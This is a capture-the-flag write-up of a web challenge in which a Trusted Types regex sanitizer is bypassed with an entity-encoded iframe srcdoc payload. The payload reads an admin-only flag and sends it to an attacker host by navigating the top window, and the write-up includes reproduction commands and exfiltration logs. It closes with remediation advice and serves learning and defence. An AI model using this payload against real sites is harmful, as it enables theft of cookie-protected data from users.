TraceBash 2026 — Trusted Rules Writeup
Trusted Types and a regex sanitizer bypassed in a Flask notes app: an HTML-entity-encoded iframe srcdoc runs inline script under CSP, reads the admin-only /admin/flag, and exfiltrates it via top-level navigation.
TraceBash 2026 — Trusted Rules
"Trusted Rules" (Web) is a small Flask notes app that reflects your note through innerHTML under a Content Security Policy built around Trusted Types. An admin bot holds an httpOnly session cookie and will review any note URL you submit. The flag lives at /admin/flag, gated only by that cookie.
The premise is that Trusted Types ("the browser's own trust framework") plus a sanitizing policy makes the reflection safe. It does not: the policy is a regex blacklist applied to the raw string, and iframe srcdoc is neither a Trusted Types sink nor policed by the blacklist. Encoding the script tags as HTML entities slips past the filters, and the browser then decodes them into a real inline script inside a fresh same-origin document.
- Event: TraceBash CTF 2026
- Category: Web
- Flag format:
TBCTF{...}
1. The application
The whole backend is one file. The interesting parts:
@app.route('/admin/flag')
def admin_flag():
if request.cookies.get('admin_session') == os.environ.get('ADMIN_TOKEN'):
return FLAG
return "Forbidden", 403
@app.route('/view')
def view():
rule = request.args.get('rule', 'Default Note')
return render_template('view.html', rule=rule)
@app.route('/report', methods=['GET', 'POST'])
def report():
...
url = request.form.get('url')
if not url or not url.startswith('http'):
return "Invalid URL", 400
parsed = urlparse(url)
if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0']:
url = parsed._replace(netloc='web:5000').geturl()
resp = requests.post(os.environ.get('BOT_URL'), json={'url': url}, timeout=5)/view renders view.html with an attacker-controlled rule. /report forwards a URL to the bot, locally rewriting localhost/127.0.0.1/0.0.0.0 to web:5000 so you cannot trivially point the bot at your own listener on loopback.
The bot only accepts URLs that target the app, then visits with the session cookie:
const parsed = new URL(url);
if (parsed.protocol !== 'http:' ||
parsed.hostname !== new URL(WEB_HOST).hostname || // 'web'
parsed.port !== new URL(WEB_HOST).port) { // '5000'
return res.status(400).send('Invalid URL: Use http://web:5000');
}
await page.setCookie({ name: 'admin_session', value: process.env.ADMIN_TOKEN,
domain: 'web', path: '/', httpOnly: true });
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });So the goal is clear: land the bot on a web:5000 page where we run script, call /admin/flag (the cookie rides along automatically even though it is httpOnly), and leak the response.
2. The reflection and its defenses
view.html sets a strict policy and injects the note through a Trusted Types policy:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline';
require-trusted-types-for 'script';">
...
<script>
let policy;
if (window.trustedTypes && trustedTypes.createPolicy) {
policy = trustedTypes.createPolicy('notePolicy', {
createHTML: (string) => {
let safe = string;
safe = safe.replace(/<\/?script>/ig, '');
safe = safe.replace(/javascript:/ig, '');
safe = safe.replace(/on[a-z]+\s*=/ig, '');
return safe;
}
});
}
const userNote = new URLSearchParams(location.search).get('rule') || 'No note specified.';
document.getElementById('note-content').innerHTML =
policy ? policy.createHTML(userNote) : userNote;
</script>There are four defenses stacked here, and each one is individually insufficient:
require-trusted-types-for 'script'forces theinnerHTMLsink to receive aTrustedHTML. The code complies by wrapping the note inpolicy.createHTML, so the sink accepts it.- The policy blacklist removes
</?script>,javascript:, andon…=from the raw string — but it is a plain regex over the source, not a parser. script-src 'self' 'unsafe-inline'— note the'unsafe-inline', which is what ultimately makes inline execution possible.default-src 'self'— there is no explicitconnect-src, sofetch/XHR/imgto an external host falls back to'self'and is blocked.
The trap is thinking innerHTML plus the <script> strip means no execution. It is true that <script> inserted via innerHTML never runs — but that is a property of the HTML fragment parser, not of the sanitizer, and it does not apply to every vector.
3. The bypass: iframe srcdoc
<iframe srcdoc="..."> is not a Trusted Types sink and is not mentioned by the blacklist. The value of srcdoc is parsed as a complete new document, and — because the frame is srcdoc — that document inherits the embedding page's origin and CSP. Since the CSP already contains 'unsafe-inline', a <script> inside srcdoc executes.
The only remaining obstacle is the string filter. It removes the literal substrings <script>, </script>, javascript: and on…=. HTML entities defeat it: the filter sees <script>, and the browser decodes that to <script> when parsing the srcdoc attribute:
<iframe srcdoc="<script>
fetch('/admin/flag')
.then(r => r.text())
.then(t => { top.location = 'http://<attacker>/?f=' + encodeURIComponent(t) });
</script>"></iframe>Walk through the defenses:
require-trusted-types-for→ satisfied; we inject via the policy as before.<script>strip → no literal<script>present, only entities.javascript:strip → we never write that token.on…=strip → no inline handler used at all.
Execution details:
- The
srcdocframe is same-origin, sofetch('/admin/flag')is a same-origin request allowed byconnect-src/default-src 'self', and thehttpOnlyadmin_sessioncookie is attached automatically.httpOnlystopsdocument.cookie, not the browser from sending it. - To get the flag out:
connect-srcandimg-srcfall back to'self', so a directfetch/Image()to the attacker host is blocked. Top-level navigation is not governed bydefault-src, sotop.location = 'http://attacker/?f=' + …leaks it. (topis reachable because the frame is same-origin.)
A side note on the other filters: although handler names cannot be entity-encoded, the javascript: filter is equally cosmetic — javascript: is a valid URL once the HTML parser decodes the attribute value. srcdoc was simply the shortest path.
4. Reproducing it
The challenge ships docker-compose.yml with the bot installing google-chrome-stable (amd64). On an arm64 host that Chrome cannot run, so I stood up the web service as-is and drove it with a small puppeteer-core bot emulator using the system (arm64) Chromium, replicating the real bot's cookie and URL checks.
Start the web service and a listener to catch exfiltration:
docker network create tbnet
docker build -t tbvault-web ./app
docker run -d --name web --network tbnet -p 5050:5000 \
-e FLAG='TBCTF{fake_flag_for_local_testing}' \
-e ADMIN_TOKEN='74ac76b0a8b649b3b3ac0212e39dc78b' tbvault-web
docker run -d --name exfil --network tbnet python:3.9-slim python -m http.server 8000Drive the bot with the payload URL-encoded into rule:
JS="fetch('/admin/flag').then(r=>r.text()).then(t=>{top.location='http://exfil:8000/?f='+encodeURIComponent(t)})"
PAY="<iframe srcdoc=\"<script>${JS}</script>\"></iframe>"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAY")
# bot emulator: sets admin_session on domain 'web', goto http://web:5000/view?rule=$ENCThe emulated bot's request log and the listener's access log confirm the full chain:
=== REQUESTS ===
http://web:5000/view?rule=...%3Ciframe%20srcdoc...
http://web:5000/static/style.css
http://web:5000/admin/flag
http://exfil:8000/?f=TBCTF%7Bfake_flag_for_local_testing%7D
--- exfil access logs ---
172.18.0.4 - - "GET /?f=TBCTF%7Bfake_flag_for_local_testing%7D HTTP/1.1" 200 -/admin/flag is fetched with the admin cookie, and the decoded flag arrives at the listener. The placeholder is a local value; against the real deployment the same payload returns TBCTF{...}.
5. Fixing it
- Do not reflect attacker input into the DOM at all, and if you must, sanitize with a real HTML parser (e.g. DOMPurify), not regexes. A Trusted Types policy is only as strong as its
createHTML. - Lock the policy. Add a
trusted-types notePolicy(ortrusted-types 'allow-duplicates' notePolicy) directive so unknown policies cannot be created, and make the policy the only path that produces HTML. - Treat
srcdoc,iframe, and event handlers as first-class XSS sinks. Block frames withframe-src 'none'and keep an explicit restrictiveconnect-src/img-src. - Remember
httpOnlyis not a CSRF/origin defense. It does not stop the page's own JavaScript from calling cookie-protected endpoints in the same origin.
6. Flag
TBCTF{fake_flag_for_local_testing} # local run; real flag is TBCTF{...}What do you think?
React to show your appreciation